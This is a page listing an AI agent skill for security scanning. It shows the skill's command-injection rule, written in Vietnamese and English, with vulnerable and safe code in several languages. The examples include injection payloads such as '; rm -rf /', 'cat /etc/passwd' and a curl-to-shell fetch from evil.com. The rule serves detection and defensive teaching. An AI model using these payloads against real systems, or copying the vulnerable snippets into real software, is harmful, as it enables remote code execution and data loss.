Skip to content

tanviet12/vbsec / skills/codex/vbs-scan-security

vbs-scan-security

Flagged

Use when scanning code for security vulnerabilities. Use when user says "scan security", "kiểm tra bảo mật", "security audit", "review security", or invokes `/vbs-scan-security`. For large scans (>20 main-language files OR >30 total OR >14 days) processes chunks sequentially. Outputs bilingual reports (vi/en). Optional `--auto-fix` (agentic patch + verify loop) and `--sca` (live CVE lookup via OSV.dev).

FileKindSize
SKILL.mdskill md28.8 KB
VERSIONother6 B
agents/openai.yamlconfig313 B
references/chunking-strategy.mdmarkdown7.2 KB
references/data-flow-classification.mdmarkdown9.5 KB
references/dependency-scan.mdmarkdown9.7 KB
references/i18n/en.mdmarkdown8.7 KB
references/i18n/vi.mdmarkdown9.4 KB
references/language-detection.mdmarkdown7.5 KB
references/load-rules.shexecutablescript5.2 KB
references/output-format.mdmarkdown26.1 KB
references/project-context.mdmarkdown2.7 KB
references/sub-agent-prompts.mdmarkdown16.5 KB
references/validate-report.pyexecutablescript8.7 KB
rules/generic/01-hardcoded-secret.mdmarkdown5.4 KB
rules/generic/02-sql-injection.mdmarkdown5.2 KB
rules/generic/03-xss.mdmarkdown4.9 KB
rules/generic/04-idor.mdmarkdown5.7 KB
rules/generic/05-slopsquatting.mdmarkdown6.1 KB
rules/generic/06-brute-force.mdmarkdown6.9 KB
rules/generic/07-mass-assignment.mdmarkdown6.3 KB
rules/generic/08-insecure-deserialization.mdmarkdown6.3 KB
rules/generic/09-ssrf.mdmarkdown6.7 KB
rules/generic/10-path-traversal.mdmarkdown6.3 KB
rules/generic/11-csrf.mdmarkdown7.8 KB
rules/generic/12-broken-access-control.mdmarkdown7.9 KB
rules/generic/13-weak-password-hashing.mdmarkdown5.2 KB
rules/generic/14-jwt-none-algorithm.mdmarkdown5.3 KB
rules/generic/15-cors-misconfig.mdmarkdown5.3 KB
rules/generic/16-unrestricted-file-upload.mdmarkdown5.9 KB
rules/generic/17-verbose-error-debug-mode.mdmarkdown5.8 KB
rules/generic/18-missing-rate-limit.mdmarkdown10.7 KB
rules/generic/19-race-condition.mdmarkdown11.5 KB
rules/generic/20-outdated-dependency.mdmarkdown7.2 KB
rules/generic/21-command-injection.mdmarkdown6.6 KB
rules/generic/22-vulnerable-dependency.mdmarkdown5.3 KB
rules/generic/23-llm-prompt-injection.mdmarkdown9.7 KB
rules/generic/24-excessive-agency.mdmarkdown10.1 KB
rules/generic/25-tenant-isolation.mdmarkdown10.1 KB
rules/generic/26-authz-path-parity.mdmarkdown10.9 KB
rules/generic/27-excessive-data-exposure.mdmarkdown10.4 KB
rules/generic/28-business-state-integrity.mdmarkdown9.5 KB
rules/generic/29-sensitive-data-in-logs.mdmarkdown9.1 KB
rules/generic/30-auth-session-lifecycle.mdmarkdown9.4 KB
rules/generic/31-resource-exhaustion.mdmarkdown9.0 KB
rules/languages/README.mdmarkdown8.5 KB
rules/languages/dart/01-hardcoded-secret.mdmarkdown7.9 KB
rules/languages/dart/03-xss.mdmarkdown5.2 KB
rules/languages/dart/05-slopsquatting.mdmarkdown4.6 KB
rules/languages/dart/10-path-traversal.mdmarkdown6.3 KB
rules/languages/dart/12-broken-access-control.mdmarkdown8.3 KB
rules/languages/dart/17-verbose-error-debug-mode.mdmarkdown6.7 KB
rules/languages/dart/20-outdated-dependency.mdmarkdown4.7 KB
rules/languages/dart/README.mdmarkdown3.7 KB
rules/languages/dotnet/02-sql-injection.mdmarkdown5.7 KB
rules/languages/dotnet/07-mass-assignment.mdmarkdown6.0 KB
rules/languages/dotnet/08-insecure-deserialization.mdmarkdown5.7 KB
rules/languages/dotnet/17-verbose-error-debug-mode.mdmarkdown5.0 KB
rules/languages/dotnet/21-command-injection.mdmarkdown5.3 KB
rules/languages/dotnet/README.mdmarkdown1.7 KB
rules/languages/go/02-sql-injection.mdmarkdown5.2 KB
rules/languages/go/08-insecure-deserialization.mdmarkdown5.0 KB
rules/languages/go/09-ssrf.mdmarkdown5.8 KB
rules/languages/go/17-verbose-error-debug-mode.mdmarkdown6.1 KB
rules/languages/go/21-command-injection.mdmarkdown5.2 KB
rules/languages/go/README.mdmarkdown2.7 KB
rules/languages/php/02-sql-injection.mdmarkdown5.8 KB
rules/languages/php/08-insecure-deserialization.mdmarkdown6.2 KB
rules/languages/php/11-csrf.mdmarkdown6.2 KB
rules/languages/php/17-verbose-error-debug-mode.mdmarkdown6.5 KB
rules/languages/php/21-command-injection.mdmarkdown6.7 KB
rules/languages/php/README.mdmarkdown2.9 KB
rules/languages/python/02-sql-injection.mdmarkdown7.2 KB
rules/languages/python/07-mass-assignment.mdmarkdown7.3 KB
rules/languages/python/08-insecure-deserialization.mdmarkdown7.3 KB
rules/languages/python/09-ssrf.mdmarkdown7.5 KB
rules/languages/python/11-csrf.mdmarkdown7.6 KB
rules/languages/python/14-jwt-none-algorithm.mdmarkdown7.5 KB
rules/languages/python/15-cors-misconfig.mdmarkdown8.0 KB
rules/languages/python/17-verbose-error-debug-mode.mdmarkdown8.4 KB
rules/languages/python/21-command-injection.mdmarkdown8.5 KB
rules/languages/python/README.mdmarkdown3.4 KB
rules/languages/typescript/02-sql-injection.mdmarkdown7.5 KB
rules/languages/typescript/03-xss.mdmarkdown6.7 KB
rules/languages/typescript/07-mass-assignment.mdmarkdown7.4 KB
rules/languages/typescript/08-insecure-deserialization.mdmarkdown7.0 KB
rules/languages/typescript/09-ssrf.mdmarkdown7.5 KB
rules/languages/typescript/11-csrf.mdmarkdown7.3 KB
rules/languages/typescript/14-jwt-none-algorithm.mdmarkdown7.0 KB
rules/languages/typescript/15-cors-misconfig.mdmarkdown7.2 KB
rules/languages/typescript/17-verbose-error-debug-mode.mdmarkdown7.2 KB
rules/languages/typescript/21-command-injection.mdmarkdown6.7 KB
rules/languages/typescript/README.mdmarkdown3.3 KB
workflows/auto-fix.mdmarkdown18.9 KB
workflows/large-review-sequential.mdmarkdown14.9 KB
workflows/small-review.mdmarkdown10.1 KB

rules/generic/21-command-injection.md

View on GitHub
---
id: COMMAND-INJECTION
severity_max: CRITICAL
applies_to: all
---

# Command Injection

## Intent

Truyền user input vào shell (`bash`, `cmd.exe`) không escape → hacker thêm `; rm -rf /` hoặc `$(curl evil.com/shell.sh | sh)`. Đây là **RCE trực tiếp** — chiếm server, đọc env (lộ AWS key), pivot vào internal network.

Pattern điển hình: `os.system("convert " + filename + " out.png")`. User upload `name "; cat /etc/passwd; echo "x"` → server chạy `cat /etc/passwd`.

Vibe coder hay dùng shell wrapper (`subprocess.run(cmd, shell=True)`, `child_process.exec`) vì "tiện viết string" — thay vì truyền argv list (an toàn).

## Khi nào CRITICAL

- `os.system`, `subprocess.run(..., shell=True)`, `os.popen` với user input
- Node `child_process.exec(cmd)` (KHÔNG phải `execFile` / `spawn` với arg list)
- PHP `system`, `exec`, `shell_exec`, `passthru`, backtick, `popen`
- Ruby `system("...#{var}...")`, backticks, `%x{}`, `Kernel.exec`
- Go `exec.Command("sh", "-c", userInput)` hoặc `exec.Command("bash", "-c", ...)`
- Template với shell: `f"ffmpeg -i {user_file} out.mp4"` truyền vào shell
- Filename / URL từ user input ghép trực tiếp vào shell command

## Khi nào HIGH (giảm cấp)

- Có escape (`shlex.quote`, `escapeshellarg`) nhưng dùng sai (escape arg nhưng vẫn `shell=True` rồi nhúng manually)
- User input qua whitelist trước (chỉ alphanumeric) — vẫn warn nhưng giảm
- Code internal CLI tool không expose lên internet

## Cách reasoning (KHÔNG pattern-match thuần)

1. **Grep** tìm shell-exec function
2. **Read** mỗi call site:
   - Tham số có concat / format với biến không?
   - Biến đó trace ngược về đâu? L1 (user input) → CRITICAL
   - Có dùng list-arg form (an toàn) không?
3. **Trace flow**:
   - `req.body.filename` → `exec("convert " + filename)` → shell injection
   - `req.body.filename` → `execFile("convert", [filename, "out.png"])` → an toàn (argv không qua shell)
4. **shell=False mặc định**: Python `subprocess.run(["cmd", arg])` không qua shell — an toàn nếu argv list.

## Search patterns (gợi ý — KHÔNG chạy literal, dùng Grep tool)

### Python

```
os\.system\s*\(
os\.popen\s*\(
subprocess\.(run|call|Popen|check_output|check_call).*shell\s*=\s*True
commands\.(getoutput|getstatusoutput)   # deprecated
```

### Node.js

```
child_process\.exec\s*\(    # exec qua shell
require\s*\(\s*["']child_process["']\s*\)\.exec
\.execSync\s*\(
shelljs\.exec
```

### PHP

```
\bsystem\s*\(
\bexec\s*\(
shell_exec\s*\(
passthru\s*\(
popen\s*\(
proc_open\s*\(
\`[^`]*\$\w+   # backtick với var
```

### Go

```
exec\.Command\s*\(\s*["'](sh|bash|cmd|/bin/sh|/bin/bash)["']\s*,\s*["']-c["']
exec\.CommandContext\s*\(\s*[^,]+,\s*["'](sh|bash)["']
```

### Ruby

```
system\s*\(.*#\{
%x\{.*#\{
\`[^`]*#\{   # backtick với interpolation
Kernel\.(system|exec|spawn)
```

### Java

```
Runtime\.getRuntime\(\)\.exec\s*\(\s*[^\[]   # exec(String) qua shell-ish; exec(String[]) an toàn
ProcessBuilder\(\s*"sh",\s*"-c"
```

## Examples

### CRITICAL — flag

```python
# Python — concat user input vào shell
import os
@app.route('/convert')
def convert():
    fname = request.args.get('file')
    os.system(f"convert /tmp/{fname} /out/{fname}.png")
    # ?file=a; rm -rf /
```

```python
# subprocess shell=True
subprocess.run(f"ffmpeg -i {user_url} out.mp4", shell=True)
# user_url = "x; curl evil.com/shell.sh | sh; #"
```

```javascript
// Node — exec với template literal
const { exec } = require('child_process');
app.post('/ping', (req, res) => {
  exec(`ping -c 4 ${req.body.host}`, (err, stdout) => {
    res.send(stdout);
  });
});
// host = "8.8.8.8; cat /etc/passwd"
```

```php
// PHP — shell_exec với GET
<?php
$ip = $_GET['ip'];
echo shell_exec("ping -c 4 " . $ip);   // ?ip=1.1.1.1;whoami
?>
```

```go
// Go — sh -c với user input
cmd := exec.Command("sh", "-c", "echo "+r.URL.Query().Get("name"))
out, _ := cmd.Output()
```

```ruby
# Ruby — interpolation trong system
system("convert #{params[:file]} out.png")
# file = "x; cat /etc/shadow"
```

### NOT critical — không flag

```python
# subprocess với argv list — KHÔNG qua shell
subprocess.run(["convert", user_file, "out.png"], check=True)
# user_file = "x; rm -rf /" → bị treat literal as filename, không execute
```

```javascript
// Node — execFile với arg array
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', req.body.host], (err, stdout) => {
  res.send(stdout);
});
// host được pass as argv[1], không qua shell parsing
```

```php
// PHP — escapeshellarg + escapeshellcmd
$ip = escapeshellarg($_GET['ip']);
echo shell_exec("ping -c 4 " . $ip);   // wrapped in single-quote
// Note: vẫn nên dùng pcntl_exec/proc_open với arg array
```

```go
// Go — exec.Command với separate args
cmd := exec.Command("ping", "-c", "4", host)   // host là argv[3], không phải shell string
```

```python
# Whitelist trước
if not re.match(r'^[a-zA-Z0-9_.-]+$', fname):
    abort(400)
subprocess.run(["convert", f"/tmp/{fname}", "out.png"])
```

## Fix recommendation

1. **Đừng dùng shell**, dùng argv list:
   ```python
   # Python — list arg
   subprocess.run(["convert", user_file, out_file], check=True)   # shell=False default
   ```
   ```javascript
   // Node — execFile / spawn
   const { execFile } = require('child_process');
   execFile('convert', [userFile, outFile], cb);
   ```
   ```go
   exec.Command("convert", userFile, outFile)
   ```
2. **Nếu BẮT BUỘC shell** (vd: pipe), escape đúng cách:
   ```python
   import shlex
   cmd = "grep " + shlex.quote(pattern) + " /var/log/app.log | wc -l"
   subprocess.run(cmd, shell=True)
   ```
   ```php
   $arg = escapeshellarg($input);
   ```
3. **Whitelist input** trước khi truyền (chỉ cho phép `[a-zA-Z0-9_.-]`).
4. **Đừng concat path**: nếu user cung cấp filename, sanitize với `path.basename()` / `os.path.basename()` + check không có `..`.
5. **Dùng library** thay vì shell out: image convert → Pillow/Sharp; ping → ICMP library; SSH → paramiko (không shell).
6. **Drop privilege**: nếu phải shell, chạy bằng user thấp quyền (không root).
7. **AppArmor / seccomp** giới hạn syscall của process.
8. **Log mọi command exec** + alert pattern nghi vấn (`;`, `|`, `$(`, backtick).

## Cross-references

- Cross-check với `04-path-traversal` (nếu có): filename `../../bin/sh`
- Cross-check với `16-unrestricted-file-upload`: upload + exec → full RCE chain
- Cross-check với `17-verbose-error-debug-mode`: command output leak qua error
- Cross-check với `02-sql-injection` (nếu có): cùng class injection vulnerability
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall